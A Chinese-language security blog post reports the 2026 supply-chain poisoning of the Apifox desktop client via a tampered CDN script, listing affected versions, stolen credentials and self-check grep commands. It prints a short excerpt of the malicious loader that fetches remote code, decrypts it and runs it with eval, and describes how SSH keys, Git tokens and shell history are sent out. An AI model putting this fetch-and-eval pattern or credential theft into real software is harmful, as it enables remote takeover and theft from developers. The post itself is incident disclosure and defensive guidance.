紧急自查!Apifox被投毒,使用者速看:你的Git、SSH、云密钥可能已泄露

关注我的公众号:【编程朝花夕拾】,可获取首发内容。

01 引言

近期,国内流行的 API 协作平台 Apifox 遭遇了一起严重的供应链投毒攻击。攻击者通过篡改 CDN 托管的 JavaScript 文件,在官方桌面客户端中植入恶意代码,意图窃取开发者的核心凭证并实施远程控制。

这场攻击从 2026 年 3 月 4 日开始,持续活跃了 18 天,直到 3 月 22 日恶意域名才停止解析。由于 Apifox 被广泛应用于研发团队,此次事件的影响范围极广,Windows、macOS 和 Linux 平台用户均受影响。

02 事件概述

2.1 概述

2026年3月25日,安全研究人员披露了一起针对知名API协作平台Apifox的供应链投毒攻击。攻击者通过篡改Apifox官方CDN托管的JavaScript文件,在桌面端应用中植入了恶意代码,意图窃取开发者的SSH密钥、Git凭证、命令行历史等敏感信息,并具备远程执行任意代码的能力。

此次攻击利用了Apifox基于Electron框架开发的安全缺陷,在未启用沙盒(Sandbox)的情况下,通过网络加载的恶意JS代码获得了本地Node.js环境的完整权限。攻击从2026年3月4日开始,持续至3月22日,共活跃18天。

2.2 过程

Apifox桌面端启动时会加载一个用于事件追踪的JS文件:

hxxps://cdn[.]apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js

正常情况下该文件大小为34KB,但在3月4日之后,用户可能请求到被投毒的版本(77KB)。投毒后的文件在合法SDK代码后追加了约42KB的高度混淆恶意代码。

2.3 核心恶意功能

攻击者在代码中硬编码了一个RSA-2048私钥,用于加密上报的敏感信息和解密C2下发的指令。这一设计失误使得任何获取该代码的人都能解密C2通信,也是本次攻击链得以完整还原的关键。

恶意代码通过MAC地址、CPU型号、主机名、用户主目录、操作系统平台构造唯一标识,经SHA-256哈希后存储在localStorage中。从localStorage读取common.accessToken,调用官方API获取用户邮箱和姓名,经RSA加密后附加到请求头中上报.通过RSA加密的payload解密后直接执行,实现完全的远程代码执行能力。

C2通信与远程代码执行

js 复制代码
const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // 任意远程代码执行

03 影响范围

3.1 受影响的版本和平台

  • 受影响版本:Apifox SaaS版桌面客户端 2.8.19 以下版本
  • 受影响平台:Windows、macOS、Linux全平台
  • 受影响时间窗口:2026年3月4日至3月22日

3.2 数据窃取的范围

攻击脚本会系统性收集并加密外传以下敏感信息:

  • SSH私钥:利用~/.ssh/id_rsa直接登录服务器
  • Shell命令历史:使用history文件获取泄露明文密码、Token、数据库连接串等
  • Apifox凭证:通过accessToken、userId接管账号,窃取API文档
  • Git凭证:通过Git Token窃取代码仓库

04 自查指南

通过脚本检查:

bash 复制代码
# Windows PowerShell下执行
Select-String -Path "$env:APPDATA\apifox\Local Storage\leveldb\*" -Pattern "rl_mc","rl_headers" -List | Select-Object Path

# macOS 终端下执行
grep -arlE "rl_mc|rl_headers" ~/Library/Application\ Support/apifox/Local\ Storage/leveldb

如果有输出具体文件则可以判定中招,需要及时采取补救措施。

我赶紧查了我的电脑,所幸没有波及。

05 修复处理

  • 版本升级到**2.8.19**及以上
  • 重置凭证
  • 阻断恶意域名

官方也给出了修复建议:

相关推荐
zc.z13 小时前
JAVA实现:纯PCM格式音频转换成BASE64
java·音视频·pcm
mask哥13 小时前
力扣算法java实现汇总整理(上)
java·算法·leetcode
无风听海14 小时前
深入剖析 YARP 的 Transforms:构建灵活的反向代理转换管道
后端·中间件·asp.net
Gopher_HBo14 小时前
负载均衡
后端
自由生长202414 小时前
RAG已死?什么标题党啊!
后端
Aaswk15 小时前
Java Lambda 表达式与流处理
java·开发语言·python
是宇写的啊15 小时前
Spring AOP
java·spring
小兵张健15 小时前
30天减20斤挑战:少一斤发100红包(15)
程序员
万邦科技Lafite15 小时前
京东item_get接口实战案例:实时商品价格监控全流程解析
java·开发语言·数据库·python·开放api·淘宝开放平台
东方小月15 小时前
5分钟搞懂Harness Engineering(驾驭工程):从提示词到AI Agent的进化之路
前端·后端·架构